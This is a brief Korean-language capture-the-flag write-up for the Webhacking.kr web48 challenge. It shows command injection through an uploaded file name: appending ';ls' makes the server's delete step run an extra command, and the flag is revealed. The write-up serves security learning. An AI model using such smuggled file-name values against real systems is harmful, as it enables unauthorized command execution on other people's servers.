Webhacking.kr - web48 (풀이봄)
web48
파일, 게시글을 올리는 게시판이 있음.
파일을 올리면 upload file이 있는데 경로를 확인해보니 /upload/test.txt
이며, 들어가면 파일 내용이 나옴.
게시글을 삭제하면 ?mode=del&time=1632207021
이런식으로 전송이 됨.
Solution
delete를 하면 파일이 지워지는데 이 때 사용되는 명령어는 rm -rf
일 것임.
rm -rf
파일명 이 서버에서 실행될 것임.
따라서 파일명;ls
를 실행시켜주면 되기 때문에, 파일명에 ;ls
를 붙여서 올린 뒤 삭제하면 아래와 같이 나오게 됨.
1
2
3
4
5
1.jpg 2.jpg 3.jpg 4.jpg 5.jpg 6.jpg 7.jpg 8.jpg
FLAG{i_think_this_chall_is_cool}
config.php index.php upload
file deleted. go back
This post is licensed under CC BY 4.0 by the author.